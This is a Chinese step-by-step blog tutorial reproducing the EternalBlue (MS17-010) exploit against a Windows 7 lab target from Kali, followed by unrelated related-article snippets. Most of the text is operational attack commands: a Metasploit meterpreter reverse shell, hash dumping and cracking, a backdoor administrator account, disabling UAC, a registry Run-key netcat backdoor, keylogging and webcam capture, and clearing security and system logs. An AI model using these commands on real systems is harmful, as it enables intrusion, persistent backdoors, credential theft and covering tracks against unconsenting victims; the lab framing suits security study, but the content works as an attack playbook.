北城慕雪
北城慕雪

永恒之蓝漏洞复现(ms17-010)----保姆级教程

攻击机: kali Linux             靶机： win7 x64   

提示:  复现攻击前请关闭杀毒软件

 

1.复现第一步按以下操作打开 445端口: 在 "运行" 里输入: regedit 打开注册表编辑器                                                                          2. 依次打开目录: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters

3. 在 Parameters 里有一个类型为 REG_DWORD 名字为 SmbDeviceEnabled 的的项                 

4. 右键点击修改，将它的16进制制改为1                       永恒之蓝漏洞复现(ms17-010)----保姆级教程_第1张图片                                                                      

 

 永恒之蓝漏洞复现(ms17-010)----保姆级教程_第2张图片

 

 

 

2. 在靶机打开 ”控制面版----系统和安全----Windows Update(在它下面点击--查看已安装的更新)，打开后有很多补丁程序，找到用来防止永恒之蓝的补丁并卸载它。我这里是 ( KB4012212 和 KB4499175) 。我已经卸载。                                                                                                              永恒之蓝漏洞复现(ms17-010)----保姆级教程_第3张图片                                                                         

 

 

3.  打开 “控制面版----系统和安全----Windows 防火墙----高级设置，在 "入站规则" 和 "出站规则" 分别启用以下规则。                                                                                                                                永恒之蓝漏洞复现(ms17-010)----保姆级教程_第4张图片

永恒之蓝漏洞复现(ms17-010)----保姆级教程_第5张图片 

 

 

 

4. 打开 ”网络和共享中心----更改高级共享设置，开启以下设置。                                                         永恒之蓝漏洞复现(ms17-010)----保姆级教程_第6张图片

永恒之蓝漏洞复现(ms17-010)----保姆级教程_第7张图片

 

 

 

5. 在 kali 输入: nmap -T4 -A -v 192.168.189.181  #靶机ip地址---进行ip端口扫描，图2显示靶机445端口被打开，存在永恒之蓝漏洞。                              永恒之蓝漏洞复现(ms17-010)----保姆级教程_第8张图片                                    

永恒之蓝漏洞复现(ms17-010)----保姆级教程_第9张图片

 

 

 

6. 打开 msfconsole 框架                                                                                                                     永恒之蓝漏洞复现(ms17-010)----保姆级教程_第10张图片

 

 

 

7. 输入 search ms17-010  查看永恒之蓝漏洞利用模块                                                                       永恒之蓝漏洞复现(ms17-010)----保姆级教程_第11张图片

 

 

 

8.  输入 use auxiliary/scanner/smb/smb_ms17_010   该模块用于扫描，嗅探，指纹识别等相关功能。                                                                                                                                                    4063560e40984ef89bedcced829a7e64.png

 

 

 

9. 输入  show options   查看模块需要的配置参数                                                                                   永恒之蓝漏洞复现(ms17-010)----保姆级教程_第12张图片

 

 

 

10. 输入  set rhosts 192.168.189.181   设置攻击目标和目标和445端口号                                                                          永恒之蓝漏洞复现(ms17-010)----保姆级教程_第13张图片                                            

 

 

11. 再次输入  show options    查看配置参数                                                                                                永恒之蓝漏洞复现(ms17-010)----保姆级教程_第14张图片

 

 

 

12. 输入  run  执行扫描 ，显示主机容易被攻击                                                                                  6412683de0ac468b84e409ab117032d8.png                                                                                                                        

 

 

13. 输入  use exploit/windows/smb/ms17_010_eternalblue   启动ms17-010 攻击模块                        fd08d7b9bbd341b1977bace00257f675.png

 

 

 

14. 输入 info  查看这个漏洞信息                                                                                                                 永恒之蓝漏洞复现(ms17-010)----保姆级教程_第15张图片

 

 

 

15. 输入  show targets    显示该攻击模块针对哪些操作系统、版本有用(可攻击的平台)。                                            永恒之蓝漏洞复现(ms17-010)----保姆级教程_第16张图片

 

 

 

16.  输入  show payloads    查看攻击载荷                                                                                               永恒之蓝漏洞复现(ms17-010)----保姆级教程_第17张图片

 

 

 

17. 输入  payload/windows/x64/meterpreter/reverse_tcp   设置攻击载荷                                          38c3804de9b74bdca5a760648c4b1e3d.png

 

 

 

19.  输入 set rhosts 192.168.189.181、set rport 445  设置攻击目标ip和端口号                                                                              6c97ef9bc0cb4aaaabba70bec55957cd.png

 

 

 

20. 输入 set lhost 192.168.189.188、set lport 4444  设置监听主机ip和端口号（kali)                                 

 6973941297b34fa2bd686421703bea8d.png

 

 

 

21. 输入 show options  查看配置好的攻击机和靶机参数                                                           

永恒之蓝漏洞复现(ms17-010)----保姆级教程_第18张图片

 

 

 

22. 输入  run   执行攻击，攻击成功显示下图。成功后可以进行文件上传、获取截屏、获取密码、打开摄像头拍照、远程桌面链接、后门持久化等操作。                                                                                       永恒之蓝漏洞复现(ms17-010)----保姆级教程_第19张图片

 

 

 

 

23.  渗透成功后后续阶段： 运行run 成功后，开启了一个reverse TCP 监听器来监听本地的4444端口( 攻击者的本地主机地址 lhost 和端口号 lport）。                        

@在meterpreter> 中可以使用以下命令来实现对目标的操作:   

(1).  sysinfo      查看目标主机系统信息                (2).  run  scraper    查看目标主机详细信息              (3).  hashdump       导出密码的哈希                      (4).  load  kiwi         加载                                      (5).  ps                    查看目标主机进程信息          (6).  pwd          查看目标主机当前目录(windows)    (7).  getlwd        查看目标主机当前目录(linux)         (8).  search  -f  *.jsp  -d  e:\        搜所E盘中以.jsp为后缀的文件                                                         (9).  download  e:\test.txt    /root   将目标的e:\test.txt 文件下载到/root 目录下                          (10). upload /root/test.txt d:\test      将/root/test.txt 上传到目标机器的 d:\test 目录下                     

(11).  PIDmigrate  1384      将当前Meterpreter Shell的进程迁移到PID为1384的进程上                 (12).  idletime      查看主机运行时间                    (13).  getuid         查看获取到的当前权限         (14).  getsystem      提权                                        (15).  run  killav       关闭杀毒软件                         (16).  screenshot      截图                                       (17).  webcam_list     查看目标主机的摄像头          (18).  webcam_snap      拍照                                 (19).  webcam_stream      开视频                    (20).  execute  参数  -f  可执行文件   执行可执行程序                                                                    (21).  run  getgui  -u  hack  -p  123                    创建hack用户，密码为123                                      (22).  run  getgui  -e    开启远程桌面链接       (23).  keyscan_start      开启键盘记录功能      (24).  keyscan_dump   显示捕捉到的键盘记录信息(25).  keyscan_stop     停止键盘记录功能          (26).  uictl  disable  keyboard    禁止目标使用键盘(27).  uictl  enable  keyboard     允许目标使用键盘 (28).  uictl  disable  mouse        禁止目标使用鼠标 (29).  uictl  enable   mouse        允许目标使用鼠标 (30).  load                                   使用扩展库        (31).  run                                      执行攻击           (32).  clearev                                清除日志            

 

 

 

24.   示例： 输入 sysinfo  查看目标主机系统                                                                                       

      永恒之蓝漏洞复现(ms17-010)----保姆级教程_第20张图片

 

 

 

25. 示例：输入 ipconfig  查看主机ip                         永恒之蓝漏洞复现(ms17-010)----保姆级教程_第21张图片                                                                         

 

 

 

26.  示例： 输入 getuid  查看用户身份(windows 系统权限)                                                                                                 5e01253765ad49409f83bcaf95f9e5c5.png

 

 

 

27.   示例: 输入 shell  获得shell控制台                    永恒之蓝漏洞复现(ms17-010)----保姆级教程_第22张图片                                                                        

 

 

 

28.  想要从目标主机shell 退出到 meterpreter，输入 exit  退出shell。      永恒之蓝漏洞复现(ms17-010)----保姆级教程_第23张图片                                           

 

 

 

29. 示例： 输入 screenshot  获取靶机截屏                                                                                          e84c0fa55237484dbe0c68f5cb529aaf.png   

永恒之蓝漏洞复现(ms17-010)----保姆级教程_第24张图片

 

永恒之蓝漏洞复现(ms17-010)----保姆级教程_第25张图片

 

 

 

30. 以下模块主要用于在获得目标主机系统远程控制权后，进行一系列后渗透攻击

(1).  run post/windows/manage/migrate      自动进程迁移                                                                (2).  run post/windows/gather/checkvm       查看靶机是否运行在虚拟机上                                        (3).  run post/windows/manage/killav          关闭杀毒软件                                                                 (4).  run post/windows/manage/enable_rdp        开启远程桌面服务                                                   (5).  run post/windows/manage/autoroute           查看路由信息                                                          (6). run post/windows/gather/enum_logged_on_users     列举当前登录的用户                                         (7).  run post/windows/gather/enum_applications       列举应用程序                                                       (8).  run windows/gather/credentials/windows_autologin抓取自动登录的用户名和密码                           (9).  run windows/gather/smart_hashdump        dump出所由用户的hash

 

 

 

31. 示例： 输入  hashdump 或 run windows/gather/smart_hashdump    获取用户密码                     01527ff1486f4e73ac84c2c95286c2a8.png                  

 

 

32.  将得到的哈希码放到MD5在线破解上解密得到明文密码                                                                  永恒之蓝漏洞复现(ms17-010)----保姆级教程_第26张图片

 

 

 

33.  输入  shell  进入shell控制台                   329cd36198164a729d6dd0bb5bf62a55.png                                                                                          

 

 

34.  输入   net user hackk 123456 add    在靶机上创建一个名为hackk的用户，密码为123456           46c138a328334ac3a610fd9427d9dec5.png

 

 

 

35. 输入  net  localgroup  administrators  hackk  /add    将hackk添加到Windows 7的本地管理员组中，以便获得更大的权限。                             

 f93bf5607be54d28aa2487f2982b440b.png

 

 

 

36. 输入  net  user    查看本地用户                                                                                                      永恒之蓝漏洞复现(ms17-010)----保姆级教程_第27张图片

 

 

 

37. 输入  net  localgroup  administrators    查看本地管理员 ，可以看到hackk已被添加进管理员组中                                                                 永恒之蓝漏洞复现(ms17-010)----保姆级教程_第28张图片

 

 

 

38. 输入  run getgui -e  或  run post/windows/manage/enable_rdp    开启靶机远程桌面链接            

430feff762a54b389dfcba9658d16a61.png

 

 

 

39.  在kali 输入  rdesktop  192.168.189.188   靶机ip地址，就可打开远程桌面        d4f24a4bdb9348a1b8c6b1ec9ee2a363.png                     

 永恒之蓝漏洞复现(ms17-010)----保姆级教程_第29张图片

 

 

 

40.  输入  hashdump  查看用户密码                     ee518a81b8dd4b3da12e454b8bade175.png

 

 

 

41. 输入  netsh firewall add portopening TCP 4444 "hackk"  ENABLE ALL    创建防火墙规则         永恒之蓝漏洞复现(ms17-010)----保姆级教程_第30张图片

 

 

 

42. 输入  netsh firewall add portopening TCP 443  "hackk"  ENABLE ALL    新建一条防火墙规则，允许443端口访问网络                                                                   

永恒之蓝漏洞复现(ms17-010)----保姆级教程_第31张图片

 

 

 

43. 输入    cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f                                          关闭UAC，以达到阻止未经用户授权的程序启动破坏系统                                                                  

3569f2c07d77483eb15d639060e2e250.png

 

 

 

44. 输入   cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f                                                                  开启默认共享，方便攻击者执行远程命令  

609eb65e253545efabf62f8f4c2402ec.png

 

 

 

45. 在kali 输入  ls /usr/share/windows-binaries/nc.exe     查看nc反弹后门程序在kali里的路径                                     

5454223b39a948ec92d834e03916f809.png

 

 

 

46. 输入  upload /usr/share/windows-binaries/nc.exe  C:\\Windows                              上传nc到靶机C盘windows文件夹中，打开靶机可以看到从kali上传到win7的nc程序072d30baa7904ddeb0ed737014b51941.png     

永恒之蓝漏洞复现(ms17-010)----保姆级教程_第32张图片                                                                                                                                             

 

 

 

47. 输入  reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\Windows\nc.exe -Ldp 443 -e cmd.exe'                                           当靶机开机后，允许443端口访问网络。(用于连接nc的端口)                                                                                                                            

32bf9246694d475c8344c58af91f7f1f.png

 

 

 

48. 输入  run  post/windows/manage/enable_rdp                    开启目标远程桌面链接 ，然后在kali输入 

rdesktop 192.168.189.188                                    (靶机ip) 链接远程桌面，并重启靶机                                           

ef29ab898a2745c3ad24fbfe8c06baa4.png

 

 

 

49. 在kali 输入  nc -v 192.168.189.188 443       就可以通过nc连接靶机进入控制台

   永恒之蓝漏洞复现(ms17-010)----保姆级教程_第33张图片

 

 

 

50.  向反弹到kali的靶机控制台输入   wevtutil cl security     清除登录日志                                                  

ff356b83dace4149bccfc0f6123174c0.png

 

 

 

52.  向反弹到kali的靶机控制台输入   wevtutil cl system     清除系统日志               2a36c15f94244b3381ce8050150770e0.png

 

 

 

53.  向反弹到kali的靶机控制台输入  wevtutil cl application  清除应用程序日志  

d5d89b5208b641d7967c943202f31e14.png

 

 

 

55. 靶机日制被清空，渗透完成                                                                                                          

永恒之蓝漏洞复现(ms17-010)----保姆级教程_第34张图片

 

 永恒之蓝漏洞复现(ms17-010)----保姆级教程_第35张图片

永恒之蓝漏洞复现(ms17-010)----保姆级教程_第36张图片 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(ms17-101,内网渗透,网络安全)

  • 身份验证技术应用10大关键趋势 uncle_ll 风控反欺诈网络安全风控身份验证
    身份验证是现代企业网络安全的基石，确保只有经过授权的用户或实体才能访问敏感信息或系统。近年来，身份验证技术取得了显著进展，如无密码身份验证、多因素身份验证和社交验证登录等新兴技术不断涌现，正在重塑传统身份验证的方式和模式，提升企业在数字化转型中的安全性和稳定性。对于企业来说，了解并跟上身份验证技术的发展至关重要。这不仅可以保护数据和系统，还能提升员工的工作体验。以下是可能在未来几年主导身份验证技术
  • 2024年入职/转行网络安全，该如何规划？_网络安全职业规划 徐老师教网络安全 web安全安全phphttps网络协议
    前言前段时间，知名机构麦可思研究院发布了《2022年中国本科生就业报告》，其中详细列出近五年的本科绿牌专业，其中，信息安全位列第一。网络安全前景对于网络安全的发展与就业前景，想必无需我多言，作为当下应届生收入较高的专业之一，网络安全同样也在转行领域中占据热门位置，主要具备以下几点转行优势：行业人才缺口大，至2027年我国网安人才缺口将达327万知识体系友好，计算机及英语水平相对薄弱的同学也可学习上
  • 2024年入职/转行网络安全，该如何规划？_网络安全职业规划 徐老师教网络安全 web安全安全phphttps网络协议
    前言前段时间，知名机构麦可思研究院发布了《2022年中国本科生就业报告》，其中详细列出近五年的本科绿牌专业，其中，信息安全位列第一。网络安全前景对于网络安全的发展与就业前景，想必无需我多言，作为当下应届生收入较高的专业之一，网络安全同样也在转行领域中占据热门位置，主要具备以下几点转行优势：行业人才缺口大，至2027年我国网安人才缺口将达327万知识体系友好，计算机及英语水平相对薄弱的同学也可学习上
  • 【网络安全】Instagram 和 Meta 2FA 绕过漏洞 秋说 网络安全web安全2FA漏洞挖掘
    未经许可，不得转载。文章目录漏洞概述技术细节Meta2FA绕过步骤Instagram2FA绕过步骤总结漏洞概述该漏洞允许攻击者在具有受害者Facabook账户权限的情况下，绕过Meta的双重身份验证(2FA)机制，实现账户接管；并且也能够绕过Instagram的双重身份验证(2FA)机制，实现账户接管。技术细节该漏洞存在的原因是在Facebook账户中心检索Instagram和Meta的备份cod
  • 【网络安全】XSS之HttpOnly防护（附实战案例） 秋说 网络安全web安全xss实战案例
    原创文章，不得转载。文章目录HttpOnly的产生背景HttpOnly的用途配置HttpOnly实战案例总结HttpOnly的产生背景随着Web应用程序的普及，安全性问题也愈发凸显，尤其是与会话管理相关的安全漏洞。在Web应用中，服务器通常会通过HTTP协议在客户端和服务器之间传递重要信息，如会话令牌（SessionToken），这些信息通常以Cookie的形式存储在客户端浏览器中。攻击者通过跨站
  • xss举例和防范措施 abytecoder 开发语言
    跨站脚本攻击（Cross-SiteScripting，简称XSS）是一种网络安全漏洞，攻击者通过在网页中注入恶意脚本，诱使用户执行这些脚本，从而达到窃取用户信息、劫持用户会话、重定向用户请求等目的。XSS攻击有三种主要类型：1.储存型（PersistentXSS）：恶意脚本会被永久存储在目标服务器上，如用户评论区中的恶意代码。2.反射型（ReflectedXSS）：恶意脚本存在于目标链接中，用户点
  • 2024年入职/转行网络安全，该如何规划？_网络安全职业规划 徐老师教网络安全 web安全安全phphttps网络协议
    前言前段时间，知名机构麦可思研究院发布了《2022年中国本科生就业报告》，其中详细列出近五年的本科绿牌专业，其中，信息安全位列第一。网络安全前景对于网络安全的发展与就业前景，想必无需我多言，作为当下应届生收入较高的专业之一，网络安全同样也在转行领域中占据热门位置，主要具备以下几点转行优势：行业人才缺口大，至2027年我国网安人才缺口将达327万知识体系友好，计算机及英语水平相对薄弱的同学也可学习上
  • 防火墙安全攻防：威胁洞察与防御策略解析 专家大圣 信息安全网络web安全安全
    摘要：随着信息技术的飞速发展，网络安全问题日益凸显。防火墙作为网络安全的重要防线，面临着各种攻击的威胁。本文详细探讨了防火墙可能遭受的攻击方式，包括常见的网络层攻击、应用层攻击等，并深入分析了相应的防御策略和技术，旨在为构建更加安全可靠的网络环境提供参考。目录一、引言二、防火墙概述三、防火墙攻击方式四、防火墙防御策略五、防火墙技术发展趋势六、结论一、引言在当今数字化时代，网络已经成为人们生活和工作
  • 什么是端点安全 ManageEngine卓豪 终端管理终端安全终端安全端点安全
    端点安全是网络安全策略的重要组成部分，侧重于保护网络中的各个设备（端点）免受各种网络威胁和未经授权的访问。通过实施全面的端点安全解决方案，可以降低与恶意软件感染、数据泄露、网络钓鱼攻击和内部威胁等相关风险。什么是端点端点包括各种设备，包括：笔记本电脑台式电脑移动设备（如智能手机和平板电脑）服务器IoT设备销售点系统数字打印机每个端点都是网络漏洞和破坏网络安全的潜在切入点。为什么需要端点安全端点安全
  • 什么是日志分析 ManageEngine卓豪 日志管理日志分析日志管理
    日志分析（或日志文件分析）是检查整个网络生成的日志数据的过程，日志数据从各种来源生成，包括外围设备、工作站、服务器、应用程序以及其他硬件和软件组件，集中收集并分析这些信息，可以更好地理解网络运行、排除故障、维护网络安全。如何分析日志文件执行日志分析可以通过两种方式完成：手动筛选日志数据或使用日志分析工具。手动日志分析手动日志分析涉及个人或团队对日志文件进行物理检查，由于日志数据的数量和复杂性，这可
  • 架构设计（13）安全架构设计理论 CoderIsArt 架构设计研究安全架构安全
    网络安全设计网络安全架构设计是为了保护信息系统免受各种网络攻击和威胁而进行的系统化设计。它涉及设计网络基础设施、配置安全控制、制定安全策略，以及实施和维护这些策略，以确保数据的机密性、完整性和可用性。下面是网络安全架构设计的详细内容，包括关键组件、设计原则和实际案例。1.网络安全架构设计的关键组件1.1网络边界保护防火墙：用于过滤网络流量，根据设定的安全规则允许或阻止数据包进入或离开网络。分为传统
  • Python3 | 练气期，入门初识与起步! 全栈工程师修炼指南 企业IT运维实践python
    [知识是人生的灯塔，只有不断学习，才能照亮前行的道路]0x00前言简述描述：作为一名网络安全转运维的工程师，每天一睁眼就要马不停蹄的学习各类计算机技术、编程和网络安全知识等，在工作中接触过很多编程语言，比如：C、Java、Python、PHP、Shell、PowerShell等，但都仅仅停留在看得懂一些，会简单使用一些的阶段，却没有去深入的了解过这些语言。正好这才趁着进行机器学习的机会，将Pyth
  • 【网络安全】分析cookie实现PII IDOR 秋说 网络安全web安全漏洞挖掘
    未经许可，不得转载。文章目录正文正文目标：公共电子商务类型的网站，每月有大约6万到10万访问者，注册用户大约有5万。存在一个查询个人资料的端点/GetProfiledetails，以下是完整的请求和响应：我发现，cookie非常类似于base64编码后的结果，于是我将其进行base64解码：可以看到，cookie中存在一个UserID为509071，即我的ID。因此，我将ID参数修改，进行base
  • 算法推荐规制！《互联网信息服务算法推荐管理规定（征求意见稿）》公开征求意见 AIwenIPgeolocation 网络安全
    互联网信息服务算法推荐管理规定（征求意见稿）第一条为了规范互联网信息服务算法推荐活动，维护国家安全和社会公共利益，保护公民、法人和其他组织的合法权益，促进互联网信息服务健康发展，弘扬社会主义核心价值观，根据《中华人民共和国网络安全法》、《中华人民共和国数据安全法》、《中华人民共和国个人信息保护法》、《互联网信息服务管理办法》等法律、行政法规，制定本规定。第二条在中华人民共和国境内应用算法推荐技术提
  • 【网络安全】WordPress Uncontrolled Resource Consumption 秋说 网络安全web安全漏洞挖掘wordpress
    未经许可，不得转载。文章目录WordPresswp-cron.php实战漏洞危害解决措施WordPressWordPress是全球最广泛使用的内容管理系统（CMS），目前约有43%的网站依赖于它。由于其用户友好的界面和丰富的插件功能，WordPress成为了全球最受欢迎的CMS。然而，在使用WordPress的过程中，用户常常忽视一些潜在的配置问题，其中之一就是wp-cron.php文件的设置。w
  • CBK-D4-通信与网络安全、访问控制.md 青葱味奶糖 CISSP网络安全访问控制cissp通信与网络安全访问控制
    CBK-D4-通信与网络安全、访问控制安全网络架构和组件OSI模型–20世纪70年代开发出来，1984年正式作为ISO标准7498发布应用层、表示层、会话层、传输层、网络层、数据链路层、物理层。应表会传网数物封装和解封，数据从物理层到应用层向上移动时被称为解封，向下移动被称为封装。对等层通信，应表会层是PDU，协议数据单元。传输层是TCP/UDP,段或数据报。网络层是数据包，数据链路层是帧，物理层
  • 探索安全的边界：深入解析CVE-2023-7028——GitLab账户接管漏洞 邹澜鹤Gardener
    探索安全的边界：深入解析CVE-2023-7028——GitLab账户接管漏洞在网络安全的最前沿，总有那么一些发现让整个社区为之一震。今天，我们将聚焦于一个引人注目的安全漏洞——CVE-2023-7028，这是一个针对GitLab平台的账户接管（AccountTake-Over）漏洞。本文旨在通过深入浅出的技术分析和场景探讨，为您提供对这一重要安全问题的理解，并非鼓励任何非法操作，而是增强我们对于
  • 人工智能在网络安全领域的应用探索 亿林数据 人工智能web安全安全网络安全
    随着网络技术的飞速发展，网络安全问题日益凸显，成为制约数字化进程的重要瓶颈。人工智能（AI）作为一种变革性技术，正逐步在网络安全领域展现出其巨大的潜力和价值。本文旨在探讨人工智能在网络安全领域的应用现状、优势、挑战及未来发展趋势。一、人工智能在网络安全中的应用现状威胁检测与响应人工智能通过机器学习算法，能够自动识别网络中的异常行为，如未经授权的访问、恶意软件传播等。传统的安全系统依赖于静态规则和签
  • 2024网络安全学习路线 非常详细 推荐学习 白帽黑客-晨哥 web安全学习安全数据库php
    关键词：网络安全入门、渗透测试学习、零基础学安全、网络安全学习路线首先咱们聊聊，学习网络安全方向通常会有哪些问题1、打基础时间太长学基础花费很长时间，光语言都有几门，有些人会倒在学习linux系统及命令的路上，更多的人会倒在学习语言上；2、知识点掌握程度不清楚对于网络安全基础内容，很多人不清楚需要学到什么程度，囫囵吞枣，导致在基础上花费太多时间；看到很多小伙伴，买了HTML，PHP，数据库，计算机
  • 网络安全总结① 无泡汽水 网络面试网络安全
    上一篇：网络工程面试题②下一篇：网络安全总结②信息安全信息安全的定义防止任何对数据进行未授权访问的措施，或者防止造成信息有意无意泄漏、破坏、丢失等问题的发生，让数据处于远离危险、免于威胁的状态或特性。信息安全的脆弱性协议栈自身的脆弱性缺乏数据源验证机制，缺乏完整性验证机制，缺乏机密性保障机制（可以抓包）操作系统的自身漏洞人为：在程序编写过程中，为实现不可告人的目的，在程序代码的隐藏处保留后门硬件：
  • IP地址与SSL证书：保障网络安全的关键 alsknv 网络tcp/ipweb安全https运维网络协议ssl
    在数字时代，网络安全至关重要，而SSL（安全套接层）证书作为加密用户与服务器之间数据传输的利器，扮演着不可或缺的角色。然而，谈及SSL证书时，一个常见的误区是它们通常与域名绑定，而非直接关联到IP地址。尽管如此，了解IP地址与SSL证书的关系及其使用场景，对于构建安全的网络环境同样重要。IP地址与SSL证书的基本差异IP地址：是互联网中设备的唯一数字标识，用于网络间的通信。它像是一个电话号码，让数
  • 【网络安全】SQL注入详解 白袍无涯 sqlweb安全数据库网络安全系统安全
    一、什么是sql注入SQL注入是比较常见的网络攻击方式之一，它不是利用操作系统的BUG来实现攻击，而是针对程序员编写时的疏忽，通过SQL语句，实现无账号登录，甚至篡改数据库。二、SQL注入攻击的总体思路1：寻找到SQL注入的位置2：判断服务器类型和后台数据库类型3：针对不同的服务器和数据库特点进行SQL注入攻击三、SQL注入攻击实例Stringsql="select*fromuser_tablew
  • 【系统架构设计师】论文：论SOA面向服务架构技术的应用 数据知道 软考高级-系统架构设计师系统架构架构软考高级系统架构设计师面向服务架构SOA
    论文：论SOA面向服务架构技术的应用文章目录摘要正文总结摘要本人于2020年7月参加国内某某知名港口供电业务系统的开发工作，在该项目中主要担任系统架构师，主要负责该系统架构和网络安全体系架构设计。经过近20年的港口信息化建设，港口供电系统已经建立了一些应用系统，但是，随着港口供电业务的发展，有些系统已经无法满足目前供电业务需求，同时存在已经开发的系统之间信息共享能力弱，系统集成度较低，系统扩展难的
  • 速盾：高防CDN支持端口转发吗? 速盾cdn 网络
    高防CDN通常用于保护网站免受DDoS攻击和其他网络安全威胁。在这种情况下，它主要通过分发网站流量到全球分布的服务器来分担流量压力，提高网站的可用性和性能。高防CDN主要通过HTTP和HTTPS协议来加速网站，因此它通常只支持这两种协议的端口转发。具体来说，它可以将网站的HTTP或HTTPS流量转发到源服务器的指定端口上。在传统的CDN架构中，端口转发主要是通过将访问端口映射到源服务器的相应端口来
  • 网络安全售前入门05安全服务——渗透测试服务方案 努力工作的网安人 网络安全web安全安全经验分享网络安全
    目录1.服务概述2.测试内容2.1网络层安全2.2系统层安全2.3应用层安全3.测试范围4.漏洞分级5.渗透用例6.测试风险6.1风险说明6.2风险规避6.3数据备份7.服务输出1.服务概述渗透性测试是对安全情况最客观、最直接的评估方式，主要是模拟黑客的攻击方法对系统和网络进行非破坏性质的攻击性测试，目的是侵入系统，获取系统控制权并将入侵的过程和细节产生报告给用户，由此证实用户系统所存在的安全威胁
  • 网络安全售前入门07安全服务——主机漏洞扫描服务方案 努力工作的网安人 网络安全安全经验分享网络安全
    目录1.服务概述2.服务内容3.服务输出1.服务概述漏洞扫描服务主要针对系统层、网络层、数据层、应用层进行安全评估，即对客户使用系统的运行环境进行安全评估。2.服务内容本项目针对客户方系统主机、网络设备、数据库系统及云平台和虚拟化平台等，具体如下：类型具体对象扫描内容操作系统Windows操作系统包括但不限于：windowsxp/2000/2003/2008，包括32位和64位。Linux/Uni
  • 网络安全售前入门08安全服务——Web漏洞扫描服务 努力工作的网安人 安全服务安全web安全前端网络安全经验分享
    目录1.服务概述2.服务内容2.1代码层安全2.2应用层安全3.服务工具4.服务输出1.服务概述Web漏洞扫描服务主要针对应用系统漏洞进行扫描，主要包括扫描WEB服务器（IIS、Websphere、Weblogic、Apache等）的漏洞；识别数据库类型；扫描第三方组件的漏洞；检测常见的WEB应用弱点，支持OWASPTOP10等主流安全漏洞。2.服务内容2.1代码层安全应用程序及代码在开发过程中，
  • 小白如何快速入门网络安全里，主要岗位有哪些？ baimao__沧海 web安全安全linuxtcpdump运维java
    入门Web安全、安卓安全、二进制安全、工控安全还是智能硬件安全等等，每个不同的领域要掌握的技能也不同。当然入门Web安全相对难度较低，也是很多人的首选。主要还是看自己的兴趣方向吧。本文就以下几个问题来说明网络安全大致学习过程网络安全主要岗位有哪些安全领域技术方向分类渗透测试学习路线小白如何快速入门一、网络安全里的主要的岗位有哪些：渗透测试工程师：主要是模拟黑客对目标业务系统进行攻击，点到为止安全运
  • 速盾：深入理解高防CDN的定义、功能与应用 速盾cdn web安全linux安全
    高防CDN(ContentDeliveryNetwork)是一种基于分布式架构的网络加速和安全防护技术，目的是提供高效的内容传输和抵御网络攻击的能力。它通过在全球各地部署服务器节点，将内容缓存到离用户最近的节点，从而实现快速的内容传输。同时，高防CDN还通过识别和过滤恶意流量，提供网络安全保护，阻止DDoS攻击和其他恶意行为。高防CDN的主要功能包括：内容加速：通过缓存静态内容，如图片、视频和网页
  • 速盾：如何选择适合企业的高防 IP 和 CDN？ 速盾cdn 网络安全web安全
    在当前互联网时代，企业面临着越来越多的网络安全威胁，其中之一就是DOS/DDOS攻击。为了保护企业的在线业务，很多企业都会选择使用高防IP和CDN服务。然而，如何选择适合企业的高防IP和CDN服务呢？下面是一些关键因素可以帮助企业做出明智的选择。首先，企业需要了解自己的网络安全需求。不同企业的业务规模和风险程度不同，因此需要的防护水平也会有所不同。一些企业可能只需要基本的防护，而另一些企业可能需要
  • 如何用ruby来写hadoop的mapreduce并生成jar包 wudixiaotie mapreduce
    ruby来写hadoop的mapreduce，我用的方法是rubydoop。怎么配置环境呢： 1.安装rvm：     不说了 网上有 2.安装ruby：     由于我以前是做ruby的，所以习惯性的先安装了ruby，起码调试起来比jruby快多了。 3.安装jruby：     rvm install jruby然后等待安
  • java编程思想 -- 访问控制权限 百合不是茶 java访问控制权限单例模式
    访问权限是java中一个比较中要的知识点,它规定者什么方法可以访问,什么不可以访问   一:包访问权限;   自定义包: package com.wj.control; //包 public class Demo { //定义一个无参的方法 public void DemoPackage(){ System.out.println("调用
  • [生物与医学]请审慎食用小龙虾 comsci 生物
         现在的餐馆里面出售的小龙虾,有一些是在野外捕捉的,这些小龙虾身体里面可能带有某些病毒和细菌,人食用以后可能会导致一些疾病,严重的甚至会死亡.....      所以,参加聚餐的时候,最好不要点小龙虾...就吃养殖的猪肉,牛肉,羊肉和鱼,等动物蛋白质     
  • org.apache.jasper.JasperException: Unable to compile class for JSP: 商人shang maven2.2jdk1.8
    环境： jdk1.8    maven  tomcat7-maven-plugin  2.0 原因： tomcat7-maven-plugin  2.0 不知吃 jdk 1.8，换成 tomcat7-maven-plugin  2.2就行，即     <plugin>
  • 你的垃圾你处理掉了吗?GC oloz GC
    前序:本人菜鸟，此文研究学习来自网络，各位牛牛多指教　 1.垃圾收集算法的核心思想 　　Java语言建立了垃圾收集机制，用以跟踪正在使用的对象和发现并回收不再使用(引用)的对象。该机制可以有效防范动态内存分配中可能发生的两个危险：因内存垃圾过多而引发的内存耗尽，以及不恰当的内存释放所造成的内存非法引用。 　　垃圾收集算法的核心思想是：对虚拟机可用内存空间，即堆空间中的对象进行识别
  • shiro 和 SESSSION 杨白白 shiro
    shiro 在web项目里默认使用的是web容器提供的session，也就是说shiro使用的session是web容器产生的，并不是自己产生的，在用于非web环境时可用其他来源代替。在web工程启动的时候它就和容器绑定在了一起，这是通过web.xml里面的shiroFilter实现的。通过session.getSession()方法会在浏览器cokkice产生JESSIONID，当关闭浏览器，此
  • 移动互联网终端 淘宝客如何实现盈利 小桔子 移動客戶端淘客淘寶App
           2012年淘宝联盟平台为站长和淘宝客带来的分成收入突破30亿元，同比增长100%。而来自移动端的分成达1亿元，其中美丽说、蘑菇街、果库、口袋购物等App运营商分成近5000万元。 可以看出，虽然目前阶段PC端对于淘客而言仍旧是盈利的大头，但移动端已经呈现出爆发之势。而且这个势头将随着智能终端(手机，平板)的加速普及而更加迅猛
  • wordpress小工具制作 aichenglong wordpress小工具
    wordpress 使用侧边栏的小工具，很方便调整页面结构 小工具的制作过程 1 在自己的主题文件中新建一个文件夹(如widget)，在文件夹中创建一个php(AWP_posts-category.php) 小工具是一个类,想侧边栏一样，还得使用代码注册，他才可以再后台使用，基本的代码一层不变 <?php class AWP_Post_Category extends WP_Wi
